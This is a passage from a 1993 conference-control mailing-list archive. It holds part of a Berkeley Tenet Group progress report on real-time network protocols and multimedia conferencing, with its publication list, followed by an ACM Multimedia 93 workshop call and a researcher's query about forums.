Extensive simulation experiments have been performed 
to study the tradeoffs between 
rate-jitter control and delay-jitter control, 
and between the work-conserving and non-work-conserving
versions of RCSP.
\fBAnindo Banerjea\fR and \fBBruce Mah\fR have 
completed the development of
the Real-Time Channel Administration Protocol 
and integrated it
with the Real-Time Internet Protocol 
on a local area testbed based on FDDI rings. 
They are currently running experiments on this testbed. 
RCAP has also been deployed 
on the 
S2Knet
testbed. 
Experiments to measure the performance of RTIP 
and compare them to the guarantees promised 
by RCAP are being planned.
\fBAmit Gupta\fR 
and
\fBAnindo Banerjea\fR 
are integrating CMTP with RCAP.
.sp .5
.LP
.B
Porting the Tenet suite to the Xunet 3 testbed.\ \ 
.R
The Berkeley branch of Xunet 3 will initially be
a HIPPI-only testbed;
it will be partially converted to an ATM testbed
when the necessary HIPPI-ATM conversion board
will be available for use.
Serial HIPPI connectivity using the 
BCP HIPPI extenders has already been established 
between Cory and Evans Halls on the UC Berkeley campus 
and Building 50 at Lawrence Berkeley Laboratory.  
\fBBruce Mah\fR 
and his coworkers in the RAID Group and at LBL
have done some testing using IP 
to verify connectivity over the fiber paths 
and through the HIPPI switches.
Due to the nature of the filesystem code on RAID II, 
they have discovered that the RAID II/Sprite port 
of the Real-Time Channel Administration Protocol (RCAP) 
will involve slightly more work than simple recompilation.  
In particular, 
it will require a new interface
to the filesystem code within the Sprite kernel.  
The different design alternatives
are being investigated.  
This work is expected to open up 
new implementation possibilities for future
RCAP implementations under UNIX.
\fBTom Fisher\fR has taken the currently stable versions 
of the Real-Time Message Transport Protocol (RMTP) 
and the Real-Time Internet Protocol (RTIP), 
which have previously been developed 
to run on DECstation 5000s under Ultrix4.2, and 
has further developed them to operate 
on Sun SPARC machines under SunOS-4.1.X. 
This work has included: 1) the separation of the machine-dependent parts of 
the kernel source code for the protocols into a clearly defined module; 2) the
development of a clear and uniform system of four separate levels of debugging 
messages to allow common users (having no kernel knowledge) to understand
when and where (and in some cases why) things go wrong; and 
3) the initial steps toward making RTIP device-driver-independent,
thus allowing it to be installed 
on systems where device driver source code 
is not available.
.sp .5
.LP
.B
Porting the Tenet suite to the S2Knet testbed.\ \ 
.R
\fBFred Templin\fR 
ported RTIP to the S2Knet routers,
and 
established the Sequoia kernel source pool 
to create a common kernel build area 
for the Tenet protocols 
as well as other Sequoia kernel changes. 
To facilitate Tenet Group research on the S2Knet testbed,
\fBTemplin\fR has created a framework 
for running Tenet network experiments. 
He is working with other members of the Tenet Group 
to test and verify the operation of 
RMTP/RTIP and RCAP across various paths of the S2Knet, 
and 
to measure the performance of these protocols on that network.
.sp .5
.LP
.B
Introducing real-time features into Ultrix.
.R
\fBTom Fisher\fR has continued his work on the development of real-time process
scheduling in the Ultrix4.2 kernel.  The current status of his work can be
described as that of discovering and solving bugs one at a time.  Because of 
the critical nature of this work (preempting and suspending, at fixed locations,
processes executing in an otherwise unpreemptible kernel), unpredictable and
non-deterministic problems have been observed.  For example, at some time,
the modified real-time kernel may support real-time processing for up to 12
hours without any conspicuous problem, while at other times the mean time
between failures is only a few minutes.  As a result, it is currently
the focus of Fisher's work to determine when and where these problems arise and
to solve them one at a time.  
The process of discovering the cause of a particular 
failure includes determining which preemption point had last been used, 
and which locks (if any) were being held by the preempting process as well as
by the processes being suspended.  
The successive elimination of failures has 
so far consisted of adding more locks (both dynamic and static) 
on data structures, and 
in some cases either to remove or to relocate the suspected preemption point.
.sp .5
.LP
.B
A simulator for networks offering real-time services.\ \ 
.R
\fBEdward Knightly\fR and \fBGiorgio Ventre\fR have finished several aspects 
of their work on Galileo, 
a tool for analysis 
and simulation of real-time communication networks and protocols. 
Currently, 
Galileo shows the effects of the network 
on a transmitted video stream. 
It displays a "before" and an "after" video stream 
providing a qualitative analysis of the delay, 
delay-jitter, 
and loss rate received by a simulated video connection. 
In another aspect of simulation, 
the design is complete for interfacing the simulator directly 
to the actual network. 
For example, 
if a client wishes to set up a video conference 
with another host on the network, 
Galileo will read the actual RCAP information 
on the current state of the network,
and, with this information, 
will simulate the proposed video connection.
.NH 2
The next Tenet scheme (Scheme 2) and suite (Suite 2)
.PP
Work is progressing on developing Scheme 2, 
which is the scheme for real-time communication 
on which the next Tenet suite (Suite 2) will be based.
The key 
features being considered for inclusion in Scheme 2 are
a new model for the client-service interface, 
real-time multicast channels,
advance reservations of real-time channels, 
mechanisms 
for supporting multiple virtual real-time networks, 
dynamic channel management, the channel group abstraction,
and fault recovery.
The group discussing the different aspects of
Scheme 2 design
is led by 
\fBDomenico Ferrari\fR. 
The other group members are 
\fBAndres Albanese\fR, 
\fBAmit Gupta\fR, 
\fBWendy Heffner\fR,
\fBMark Moran\fR,
\fBColin Parris\fR, 
\fBClemens Szyperski\fR, 
\fBGiorgio Ventre\fR, 
\fBRon Widyono\fR,
and 
\fBMakiko Yoshida\fR. 
.sp .5
.LP
.B
Multicast real-time channels.\ \ 
.R
Scheme 1 is based on a simplex unicast abstraction. 
There are several important applications 
of integrated-services networks, 
e.g., 
all the applications involving multi-party collaboration, 
in which a more convenient 
(and potentially more efficient) 
abstraction is the simplex multicast connection. 
The group is investigating the issues involved in
replacing the unicast channel abstraction 
with the simplex multicast channel abstraction.
\fBAmit Gupta\fR and \fBMark Moran\fR have developed a scheme 
for handling the problem of delay 
and bandwidth allocation for multicasting in such broadcast media
as FDDI. 
The key problem consists 
of choosing among the different performance bounds assigned 
to the common nodes by the distributed partitioning 
and relaxation algorithm. 
\fBAmit Gupta\fR, 
\fBColin Parris\fR, 
\fBMark Moran\fR and \fBRon Widyono\fR are working 
on the multicast routing problem. 
They are designing a simulator 
for testing the different multicast routing schemes, 
including the traditional routing schemes 
discussed in literature as well as 
two new schemes that have been designed 
by members of the Tenet Group. 
.LP
.B
Advance reservation of real-time channels.\ \ 
.R
In the current Tenet scheme, 
the network provides the clients 
with Quality of Service guarantees during data transfer. 
However, 
for a service to be truly usable in multi-party applications,
the network ought to be able 
to guarantee the availability of its resources
at the time they will be needed.
This implies that the clients should be able 
to reserve 
channels with given characteristics and guarantees
in advance. 
\fBDomenico Ferrari\fR, 
\fBAmit Gupta\fR, 
and \fBGiorgio Ventre\fR
have designed mechanisms
for supporting advance reservations 
in real-time communication networks.
.sp .5
.LP
.B
Support for virtual real-time networks.\ \ 
.R
An interesting problem is that of
partitioning a network into several virtual networks, 
with performance guarantees for each virtual network.
This problem becomes more interesting, 
and important,
in real-time networking. 
Partitioning buffer space 
and bandwidth is fairly simple, 
but
partitioning the delay 
(or scheduler) resource 
is much harder. 
\fBDomenico Ferrari\fR and \fBAmit Gupta\fR
have designed an algorithm 
for partitioning all types of resources in each network node 
as the network managers desire.
.sp .5
.LP
.B
The channel group abstraction.\ \ 
.R
In the current Tenet scheme, 
the clients do not have any mechanism 
to specify any application-specific relationships 
that might exist among different channels. 
Consequently, 
the network may not make any assumptions 
about these relationships, 
and 
must consider each
channel as totally independent
of all others. 
\fBAmit Gupta\fR and \fBMark Moran\fR 
have proposed a new abstraction, 
called channel groups, 
for specifying such relationships.
The network uses the information 
about these relationships 
to provide a more efficient service to the clients. 
The channel groups also provide the network 
with a better client-service interface. 
Gupta and Moran are working on the various aspects 
of channel groups. 
The Galileo
simulator is being modified
to provide support for channel groups, 
and to investigate the usefulness
of the resource sharing relationship.
.sp .5
.LP
.B
The Berkeley Structured Channel (BSC) abstraction.\ \ 
.R
A BSC is an abstraction that tries 
to capture additional client requirements 
and needs in a structured way:\ \  
it represents a set of lower-level channels.  
As part of the task of defining the BSC levels,
\fBClemens Szyperski\fR is investigating ordering 
and synchronization requirements 
in multi-party multimedia conversations to see whether 
and how to map these to the  QoS parameters provided 
by a Tenet-style real-time communication service.
.sp .5
.LP
.B
Dynamic Channel Management algorithms.\ \ 
.R
In the Tenet model a connection-oriented and 
reservation-oriented approach is used 
to support guaranteed performance services. 
In this approach,
the resource allocation 
and route selection decisions are made before the start 
of the application on the basis of resource availability 
and real-time network load at that time, 
and are usually kept for the duration of the application. 
However, 
such an approach suffers from two major limitations:\ \  
first, 
the communication service provided is fixed, 
with no 
adaptability to dynamic changes in the clients' requirements; 
second, 
a lower utilization of the network 
by real-time traffic
may be obtained than would be possible
if the service were more flexible.
\fBColin Parris\fR, 
\fBGiorgio Ventre\fR, 
and \fBHui Zhang\fR 
have proposed a flexible management scheme 
that allows graceful adaptation 
of guaranteed performance service connections. 
Mechanisms have been devised, 
using the Dynamic Channel Management (DCM) algorithms, 
that allow modification of the traffic 
and performance parameters of a real-time connection 
during its lifetime. 
These mechanisms, 
together with an adaptation policy, 
can make more efficient use of the network resources 
by performing cooperative, 
consensual, 
high-level multiplexing.
In this policy, 
both the clients and the network can initiate 
an adaptation operation,
whereby the performance parameters 
of a client's connection are dynamically modified 
under the control of the client. 
The clients control this modification 
by specifying a range of values for each 
of the performance parameters 
at channel setup time
as well as 
a quantum by which the values of the parameters can be changed, 
and by providing their consent before each modification can be made. 
In client-initiated adaptation,
the clients dynamically request enhancements 
or reductions to the performance of their connections, 
while in network-initiated adaptation 
the network can elect to reclaim resources 
from the clients
(with their consent)
by reducing the performance levels
of their channels.
These reclaimed resources can be used 
to enable a new client to enter a heavily utilized network 
or a current client to increase the performance 
of its connection. 
Affected clients can be compensated 
by credits or other incentives. 
The goal of the adaptation policy is 
to increase the utilization of the network as much as possible 
by providing existing clients 
with the ability to enhance the performance level 
of their channels
(this enhancement may require reclaiming resources 
by network initiated adaptation) 
and new clients with network access
made possible
by reclaiming resources from existing clients. 
A simulator has been built, 
and simulation experiments have been performed 
to verify the correctness 
and usefulness of the policy.
.sp .5
.LP
.B
Fault recovery mechanisms.\ \ 
.R
\fBAnindo Banerjea\fR has modified a simulator written 
by \fBHui Zhang\fR and \fBColin Parris\fR, 
to study various schemes for introducing fault recovery
into real-time communication. 
Simulation experiments are in progress.
.NH 1 
Continuous-Media Networking Applications
.sp .5
.LP
.B
Multiparty interactive multimedia applications.\ \ 
.R
\fBClemens Szyperski\fR and \fBGiorgio Ventre\fR 
investigated the network requirements 
of multi-party interactive multimedia applications.  
A domain analysis starting with 
interpersonal communication patterns and 
extending to computer supported
applications led to a taxonomy 
of the associated interaction models.  
Based on this taxonomy,
the network support requirements 
for these applications were isolated. 
A specific observation was the importance 
of efficiently supporting conference or
classroom-style applications with a few key speakers 
and a potentially large audience that still wants 
to be able to interrupt the current speaker from time to time, 
e.g., to ask questions.  
A fully interconnected N to N communication structure would not
take advantage of the particular communication model of such applications.  
Better to explore these issues,
a half-duplex multicast model 
has been proposed and partially analyzed.  
The idea is a 1 to N communication structure, efficiently
implementable using a multicast tree,
that supports communication
from any of the N receivers 
(reversing direction of some of the tree edges), 
but under some restrictions on the number of concurrent senders 
(often only one or a few at a time) 
and on the QoS observed by receivers 
if someone else but one of the main sources is sending.  
A particular proposal for a transport-layer interface
based on the half-duplex multicast abstraction has also been made
to the Scheme 2 design group.
.sp .5
.LP
.B
Multimedia conferencing tools development and deployment.\ \ 
.R
\fBSteven McCanne\fR is currently coordinating 
multimedia application development and deployment.  
He integrated the IP multicast networking code 
into the Tenet 
version of the Ultrix
kernel, 
and ported two of the MBONE conferencing tools, 
vat and nv, 
to DECstations.  
(The MBONE is an IP Multicast virtual network built on top 
of the Internet.  
Vat is an audio conferencing application 
from Lawrence Berkeley Laboratory,
and nv is a network video tool from Xerox PARC.)
The nv port required the development 
of a new module to interface 
to DEC's TX/PIP video frame capture hardware.
He is also experimenting with the J-Video video compression hardware,
a new board under development by DEC.  
He has built a prototype multi-party video conferencing application, 
vic, 
which runs over UDP/IP multicast, 
UDP/IP unicast, 
and Tenet RMTP/RTIP.  
The low bandwidth requirements 
of a JPEG-encoded video stream allow real-time video conferencing 
to be carried out over current wide area networks 
(i.e., well under T1 speeds).
The motivation for the deployment 
of these network conferencing tools is twofold.  
First, 
they will provide a context for experimentation 
with real-time client requirements, 
as well as a live testbed for performance evaluation.
Second, 
they will provide a communications fabric for collaborative work.  
The experiments currently being carried out
on the MBONE indicate that network conferencing, 
even with today's "slow" networks, 
is extremely viable and productive.
This technology will soon be deployed in the
S2Knet and Xunet research communities.
McCanne also ported the GNU source-level debugger, 
with kernel debugging extensions from Lawrence Berkeley Laboratory, 
to the Tenet Ultrix kernel.  
Finally, 
he has taken part in the ongoing maintenance 
and development of the Tenet networking code.
.NH 1
Tenet Group Members
.PP
The current members of the Tenet Group are the following graduate students
of the Department of Electrical Engineering and Computer Science of
U. C. Berkeley: 
\fBAnindo Banerjea\fR,
\fBAmit Gupta\fR,
\fBWendy Heffner\fR,
\fBEdward Knightly\fR,
\fBSteven McCanne\fR,
\fBBruce Mah\fR,
\fBMark Moran\fR,
\fBColin Parris\fR,
\fBRon Widyono\fR,
and
\fBHui Zhang\fR;
the programmer
\fBTom Fisher\fR;
the following visiting scholars and researchers:
\fBWolfgang Effelsberg\fR, from the University of Mannheim, Germany;
\fBWinfried Dulz\fR, from the Institute for Computer Science (IMMD), 
University of Erlangen-Nuremberg, Germany;
\fBMasaya Miyazaki\fR, from the Information Systems Research Laboratory (ISL),
Matsushita Electric Industrial Co., Ltd., Osaka, Japan;
\fBWolfgang Schroeder-Preikschat\fR,
from the German National Research Center for Computer Science (GMD-FIRST),
Berlin, Germany;
\fBClemens Szyperski\fR,
from the Swiss Federal Institute of Technology (ETH), Zurich, Switzerland;
\fBFred Templin\fR,
from the External Research Program of Digital Equipment Corporation, Maynard,
Massachusetts, U.S.A.;
\fBGiorgio Ventre\fR,
from the Dipartimento di Informatica e Sistemistica of the Universit\o'a\(aa'
di Napoli, Naples, Italy;
\fBMakiko Yoshida\fR,
from the C&C Systems Research Laboratories, NEC Corp., Kawasaki, Japan;
the co-leader of ICSI's Networks Group,
\fBAndres Albanese\fR, 
and the leader of the Tenet Group,
\fBDomenico Ferrari\fR.
.NH 1
Tenet Group Publications
.PP
The Tenet Group publications since the
beginning of 1991 are listed below.
Unless otherwise noted, the publications
are available by electronic mail from the Tenet file server
\fB(file-server@tenet.berkeley.edu)\fR.  
Instructions on how to use the file server 
may be obtained by sending it a mail 
message with the one-word subject: \fIHelp\fR. 
The same publications are also available by anonymous ftp to
tenet.berkeley.edu.
Inquiries for further information should be directed to the Tenet Group leader,
Professor \fBDomenico Ferrari\fR, Computer Science Division,
571 Evans Hall, University of California, Berkeley CA 94720.  
Electronic mail may be sent to \fBferrari@cs.berkeley.edu\fR.
.sp 1.5
.KS
.LP
A. Banerjea and S. Keshav,
\*QQueuing Delays in Rate Controlled Networks\*U,
Technical Report TR-92-015, 
International Computer Science Institute, Berkeley, February 1992;
also in
\fIProceedings of INFOCOM'93\fP, 
San Francisco, March-April 1993.
.KE
.KS
.LP
A. Banerjea and  B. Mah, 
\*QThe Real-Time Channel Administration Protocol\*U,
\fIProc. Second International Workshop on Network and
Operating System Support for Digital Audio and Video\fR, 
Springer-Verlag, Heidelberg,
Germany, pp. 160-170, November 1991.
.KE
.KS
.LP
R. C\o'a\(aa'ceres,
\*QEfficiency of ATM Networks in Transporting Wide-Area Data Traffic\*U,
Technical Report TR-91-043, 
International Computer Science Institute, Berkeley, July 1991.
.KE
.KS
.LP
R. C\o'a\(aa'ceres, 
\*QMultiplexing Traffic at the Entrance to Wide-Area Networks\*U, 
Ph.D. Dissertation, Technical Report UCB/CSD 92/717, 
University of California, Berkeley, December 1992.
.KE
.KS
.LP
R. C\o'a\(aa'ceres, D. P. Danzig, S. Jamin, and D. J. Mitzel,
\*QCharacteristics of Wide-Area TCP/IP Conversations\*U,
\fIProc. ACM SIGCOMM '91\fR, Zurich, Switzerland, 
pp. 101-112, September 1991.
.KE
.KS
.LP
P. Danzig, S. Jamin, R. C\o'a\(aa'ceres, D. Mitzel, and D. Estrin,
\*QAn Empirical Workload Model for Driving Wide-Area TCP/IP
Network Simulations\*U,
\fIJournal of Internetworking: Research and Experience\fR, 
vol. 3, no. 1, pp. 1-26, March 1992.
.KE
.KS
.LP
N. Faller,
\*QMeasuring the Latency Time of Real-Time UNIX-like Operating Systems\*U,
Technical Report TR-92-037, 
International Computer Science Institute, Berkeley,
June 1992.
.KE
.KS
.LP
D. Ferrari, 
\*QDesign and Applications of a Delay Jitter Control
Scheme for Packet-Switching Internetworks\*U, 
\fIProc. Second International Workshop on Network 
and Operating System Support for Digital Audio and Video\fR, 
Springer-Verlag, Heidelberg, Germany, pp. 72-83, November 1991;
also in \fIComputer Communications\fR, vol. 15, n. 6, 
pp. 367-373, July-August 1992.
.KE
.KS
.LP
D. Ferrari,
\*QDistributed Delay Jitter Control in Packet-Switching Internetworks\*U,
Technical Report TR-91-056, 
International Computer Science Institute, Berkeley,
October 1991; 
also in \fIJournal of Internetworking: Research
and Experience\fR, 
vol. 4, n. 1, pp. 1-20, 1993.
.KE
.KS
.LP
D. Ferrari, 
\*QReal-Time Communication in an Internetwork\*U,
\fIJournal of High Speed Networks\fR, vol. 1, n. 1, pp.79-103, 1992; also
Technical Report TR-92-001, International Computer Science Institute,
Berkeley, January 1992.
.KE
.KS
.LP
D. Ferrari, A. Banerjea, and H. Zhang,
\*QNetwork Support for Multimedia - A Discussion of the Tenet Approach\*U,
Technical Report TR-92-072, International Computer Science Institute, Berkeley,
October 1992.
.KE
.KS
.LP
D. Ferrari, A. Gupta, M. Moran, and B. Wolfinger,
\*QA Continuous Media Communication Service and its Implementation\*U,
\fIProc. GLOBECOM '92\fP, 8A.02.,
Orlando, Florida, December 1992.
.KE
.KS
.LP
D. Ferrari, J. Ramaekers, and G. Ventre,
\*QClient-Network Interactions in Quality of Service Communication
Environments\*U, \fIProc. 4th IFIP Conf. on High Performance Networking\fR,
pp. E1-1\(enE1-14, Liege, Belgium, December 1992.
.KE
.KS
.LP
T. Fisher,
\*QReal-Time Scheduling Support in ULTRIX-4.2 for Multimedia
Communication\*U,
\fIProc. Third International Workshop on Network and Operating System
Support for Digital Audio and Video\fR, San Diego, November 1992.
.KE
.KS
.LP
M. Gilge, 
\*QVisuelle Kommunikation ueber paketvermittelte Netze mittels 
netzwerkadaptiver Bildcodierung\*U, 4. Dortmunder Fernsehseminar, 
Dortmund, Germany, October 1991.
(not available from the file server)
.KE
.KS
.LP
M. Gilge and R. Gusella, 
\*QMotion Video Coding for Packet Switching Networks -- An Integrated 
Approach\*U, \fISPIE Visual Communications and Image Processing '91\fR, 
Boston, Massachusetts, November, 1991.
.KE
.KS
.LP
A. Gupta and M. Moran, 
\*QChannel Groups: A Unifying Abstraction for Specifying
Inter-Stream Relationships\*U, 
Technical Report TR-93-015, 
International Computer Science Institute, Berkeley, March 1993.
.KE
.KS
.LP
R. Gusella,
\*QCharacterizing the Variability of Arrival Processes with
Indices of Dispersion\*U, Technical Report TR-90-051, International
Computer Science Institute, Berkeley, September 1990; 
also in \fIIEEE Journal on Selected 
Areas in Communications\fR, vol. 9, n. 2, pp. 203-211, February 1991.
.KE
.KS
.LP
S. Keshav,
\*QCongestion Control in Computer Networks\*U,
Ph.D. Dissertation, University of California at Berkeley, September 1991;
also, Technical Report UCB/CSD 91/649, University of California,
Berkeley, September 1991.
(not available from the file server)
.KE
.KS
.LP
S. Keshav,
\*QOn the Efficient Implementation of Fair Queueing\*U,
\fIJournal of Internetworking: Research and Experience\fR, vol. 2, pp. 157-173, September 1991.
.KE
.KS
.LP
S. Keshav, 
\*QA Control-Theoretic Approach to Flow Control\*U,
Technical Report TR-91-015, International Computer Science Institute, 
Berkeley, March 1991; also in \fIProc. ACM SIGCOMM '91\fR, 
Zurich, Switzerland, pp. 3-15, September 1991.
.KE
.KS
.LP
E. Knightly and G. Ventre,
\*QGalileo: a Tool for Simulation and Analysis of Real-Time Networks\*U,
Technical Report TR-93-008, 
International Computer Science Institute, Berkeley, March 1993.
.KE
.KS
.LP
C. Lowery,
\*QProtocols for Providing Performance Guarantees in a Packet-Switching 
Internet\*U, Technical Report TR-91-002, International Computer Science 
Institute, Berkeley, January 1991.
.KE
.KS
.LP
B. Mah, 
\*QA Mechanism for the Administration of Real-Time Channels\*U,
MS Report, Technical Report UCB/CSD 93/735, 
University of California, Berkeley, March 1993.
.KE
.KS
.LP
M. Moran and R. Gusella, 
\*QSystem Support for Efficient Dynamically-Configurable 
Multi-Party Interactive Multimedia Applications\*U, 
\fIProc. Third International Workshop on Network and 
Operating Systems Support for Digital Audio and Video\fP, 
San Diego, November 1992.
.KE
.KS
.LP
C. Parris and  D. Ferrari,
\*QA Resource Based Pricing Policy for Real-Time Channels in a Packet-Switching
Network\*U,
Technical Report TR-92-018, International Computer Science
Institute, Berkeley, March 1992.
.KE
.KS
.LP
C. Parris, S. Keshav, and  D. Ferrari,
\*QA Framework for the Study of Pricing in Integrated Networks\*U,
Technical Report TR-92-016, International Computer Science
Institute, Berkeley, March 1992.
.KE
.KS
.LP
C. Parris, G. Ventre, and H. Zhang,
\*QGraceful Adaptation of Guaranteed Performance Service Connections\*U,
to be presented at GLOBECOM '93.
.KE
.KS
.LP
C. Parris, H. Zhang, and D. Ferrari, 
\*QA Mechanism for Dynamic Re-Routing of Real-Time Channels\*U, 
Technical Report TR-92-053, 
International Computer Science Institute, Berkeley, August 1992.
.KE
.KS
.LP
J. Ramaekers and G. Ventre, 
\*QQuality-of-Service Negotiation in a Real-Time Communication Network\*U, 
Technical Report TR-92-023, 
International Computer Science Institute, Berkeley, April 1992.
.KE
.KS
.LP
J. Ramaekers and G. Ventre, 
\*QClient-Network Interaction in a Real-Time Communication Environment\*U, 
\fIProceedings of IEEE GLOBECOM '92\fP, 
Orlando, Florida, December 1992.
.KE
.KS
.LP
C. Szyperski and G. Ventre,
\*QA Characterization of Multi-Party Interactive Multimedia Applications\*U, 
\fIHigh-Performance Network Research Report 1/93\fP, 
and Technical Report TR-93-006, 
International Computer Science Institute, Berkeley, January 1993.
.KE
.KS
.LP
C. Szyperski and G. Ventre,
\*QEfficient Multicasting for Interactive Multimedia Applications\*U, 
Technical Report TR-93-017, 
International Computer Science Institute, Berkeley, March 1993.
.KE
.KS
.LP
K. Umemura and A. Okazaki,
\*QReal-Time Transmission and Software Decompression of Digital Video
in a Workstation\*U, Technical Report TR-91-004, International Computer 
Science Institute, Berkeley, January 1991.
(not available from the file server)
.KE
.KS
.LP
D. Verma, 
\*QGuaranteed Performance Communication in High Speed Networks\*U,
Report No. UCB/CSD 91/663, University of California, Berkeley,
December 1991.
.KE
.KS
.LP
D. Verma and D. Ferrari,
\*QEvaluation of Overflow Probabilities in Resource Management\*U,
Technical Report TR-91-051, International Computer Science Institute,
Berkeley, October 1991; also in
\fIProc. ICC'92\fR,
Chicago, Illinois, 341.6.1-341.6.5, June 1992.
(not available from the file server)
.KE
.KS
.LP
D. Verma and D. Ferrari,
\*QVariation of Traffic Parameters in ATM Networks\*U,
\fIProc. ICC'92\fR,
Chicago, Illinois, 325.2.1-325.2.5, June 1992.
(not available from the file server)
.KE
.KS
.LP
D. Verma, H. Zhang, and D. Ferrari,
\*QDelay Jitter Control for Real-Time Communication in a Packet Switching 
Network\*U, Technical Report TR-91-007, International Computer Science 
Institute, Berkeley, January 1991; also in \fIProc. TriComm '91\fR, Chapel
Hill, North Carolina, pp. 35-43, April 1991.
.KE
.KS
.LP
B. Wolfinger, 
\*QEin Transportdienst und -protokoll fuer Multimedia-Applikationen in 
paketvermittelten Hochgeschwindigkeitsnetzen mit 
Realzeit-Kommunikations-anforderungen\*U, \fIProc. Workshop 
Entwicklungstenden-zen von Rechnernetzen\fR, Gaussig, Germany, November 1991.
(not available from the file server)
.KE
.KS
.LP
B. Wolfinger and M. Moran, 
\*QA Continuous Media Data Transport Service and Protocol for Real-Time 
Communication in High Speed Networks\*U, \fIProc. Second 
International Workshop on Network and Operating System Support for 
Digital Audio and Video\fR, Springer-Verlag, Heidelberg, Germany, pp. 171-182, November 1991.
.KE
.KS
.LP
H. Zhang and D. Ferrari,
\*QRate-Controlled Static Priority Queueing\*U, 
Technical Report TR-92-003, International Computer Science Institute,
Berkeley, January 1992;
also in
\fIProceedings of INFOCOM'93\fP, 
San Francisco, March-April 1993.
.KE
.KS
.LP
H. Zhang and T. Fisher, 
\*QPreliminary Measurements of the Real-Time Internet Protocol\*U, 
\fIProc. Third International Workshop on Network 
and Operating System Support for Digital Audio and Video\fP, 
San Diego, November 1992.
.KE
.KS
.LP
H. Zhang and S. Keshav, 
\*QComparison of Rate-Based Service Disciplines\*U, 
\fIProc. ACM SIGCOMM '91\fR, Zurich, Switzerland, 
pp. 113-122, September 1991.
.KE



----- End Included Message -----


From sekar@thumper.bellcore.com  Wed May 12 14:05:07 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA05287>; Wed, 12 May 1993 15:05:13 -0700
Received: from rcs.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA11078> for confctrl@isi.edu; Wed, 12 May 93 18:05:07 EDT
Received: by rcs.bellcore.com (4.1/4.7)
	id <AA21040> for rem-conf@es.net; Wed, 12 May 93 18:05:07 EDT
Date: Wed, 12 May 93 18:05:07 EDT
From: sekar@thumper.bellcore.com (R. C. Sekar)
Message-Id: <9305122205.AA21040@rcs.bellcore.com>
To: confctrl, rem-conf@es.net
Subject: ACM Multimedia 93 Workshop on Programming Abstractions for Distributed Multimedia Applications


                     Call for Participation

                    ACM Multimedia 93 Workshop 
                                on 
                    Programming Abstractions for
                 Distributed Multimedia  Applications

                          August 3, 1993
                        Anaheim, California



Workshop Description

This one day workshop is aimed at identifying high-level abstractions that 
are suitable for expressing the communication and coordination needs of
distributed multimedia applications.  Today's networks support only very 
general-purpose, low-level mechanisms (based on TCP/IP or similar protocols) 
for programming such applications. This makes the task of programming 
distributed multimedia applications very complex and cumbersome.  A natural 
approach to overcome this complexity is to provide a software layer that 
customizes the general-purpose, low-level mechanisms for the specific task 
of developing distributed multi-media applications. The ease and convenience 
of application development depends crucially upon the suitability of the 
programming abstractions provided by this layer.

Experience with distributed multimedia applications so far suggests that 
there are two important classes of abstractions that address independent 
functional aspects of networked multimedia applications: session (also called 
conference) abstractions, and transport abstractions. The session abstractions 
provide mechanisms for coordinating the activities of agents involved in a 
communication session.  They may also provide mechanisms for negotiation among 
the agents to resolve conflicting policies and requirements of the agents.  
Connections among these agents are described by the transport abstractions.

The workshop addresses issues in developing effective abstractions for 
conveniently programming distributed multimedia applications, and involves 
the participation of researchers from a variety of areas including: 
multimedia communications, computer communications, information networking, 
telecommunications, real-time systems, open distributed systems, software 
engineering, and programming languages. 



Workshop Format

The workshop is organized around the following main activities: a set of 
invited talks that cover the foundations and state-of-the-art in public
network and internet based multimedia communications, and several expert 
panels focusing upon:

1. Initiation and management of sessions.

2. Specification of processing, presentation and transport
of multimedia streams.

3. Mechanisms for describing, accessing and managing 
network and application provider services.

The aspects covered under each of these topics include:
convenience and expressive power of abstractions, separation of concerns, 
security and privacy, mechanisms for policy enforcement, fault-tolerance, 
network resource optimization, extensibility and application interoperability.



Workshop Location

The workshop will be held in conjunction with the ACM Conference on Multimedia 
(sponsored by SIGBIO, SIGCHI, SIGCOMM, SIGGRAPH, SIGIR, SIGLINK, and SIGOIS)
In Anaheim, California. Participation in the workshop is free of charge, but 
participants must register for the ACM Multimedia 93 in order to attend the 
workshop.



Workshop Participation

It is our intention to limit the participation in the workshop to about
seventy. To accomplish this, workshop participation is by invitation only.
If you are interested in participating in the workshop please send a brief 
statement of interest (not exceeding two pages) to the workshop organizers
(preferably by e-mail). This statement should specify your current activities 
which are related to the workshop topics. The statements are due by June 15th, 
and notifications of acceptance to the workshop will be sent by July 1st. 
The statements of interest of the workshop participantes will be distributed 
at the workshop in order to promote communication.



Workshop Organizers

Shoshana Loeb                             R.C. Sekar  
Bellcore, 2A-267                          Bellcore, 2A-274
445 South St,                             445 South St,
Morristown, NJ, 07960                     Morristown, NJ, 07960
Phone: (201) 829-4528                     Phone: (201) 829-4609 
Fax:   (201) 829-5889                     Fax:   (201) 829-5889
email: shoshi@bellcore.com                email: sekar@thumper.bellcore.com



Important Dates

Statement of interest: June  15, 1993
Notifications:         July   1, 1993
Workshop:              August 3, 1993

From bell@dcs.qmw.ac.uk  Fri May 14 18:18:22 1993
Received: from magician.dcs.qmw.ac.uk by venera.isi.edu (5.65c/5.61+local-12)
	id <AA03703>; Fri, 14 May 1993 10:32:31 -0700
Received: from dcs.qmw.ac.uk by magician.dcs.qmw.ac.uk with SMTP (PP) 
          id <23394-0@magician.dcs.qmw.ac.uk>; Fri, 14 May 1993 18:16:28 +0100
Date: Fri, 14 May 1993 18:18:22 +0000
To: confctrl
From: bell@dcs.qmw.ac.uk (Dave Bell)
X-Sender: bell@magician
Subject: Multimedia SIGs
Cc: bell@dcs.qmw.ac.uk
Message-Id: <"magician.d.426:14.04.93.17.16.41"@dcs.qmw.ac.uk>

Dear Administrator of the conference-control list,

I have been passed to you by Chris Adie of ed.ac.uk in order to identify an
appropriate conference group. 

My focus is that of the user and group issues (cognitive and social issues)
surrounding multimedia usage. 

My interests have evolved throughout the MUMS* project, extending from
technologies and data compression formats to generation and interpretation
of multimodal interactions, and I must now focus upon the modelling of
multimedia usage in the group context in order to influence application
design. 
 
If you can point me to a forum for such discussion sich as SIGs, mail-list
groups or other possible sources of this information. Great.

(* MUMS is a SERC (UK Govt) funded project)

many thanks
dave bell


: Dave Bell  (HCI Researcher)    : Internet: bell@dcs.qmw.ac.uk :
: Computer Science Dept          : UUCP:     bell@qmw-dcs.UUCP  :
: Queen Mary & Westfield College : Phone:    +44 071-975 5256/8 :
: Mile End Road,LONDON,E1 4NS,UK : Fax:      +44 081-980 6533   :   


From schooler  Thu May 20 03:33:35 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-12)
	id <AA17799>; Thu, 20 May 1993 10:33:48 -0700
Date: Thu, 20 May 1993 10:33:35 -0700
From: schooler
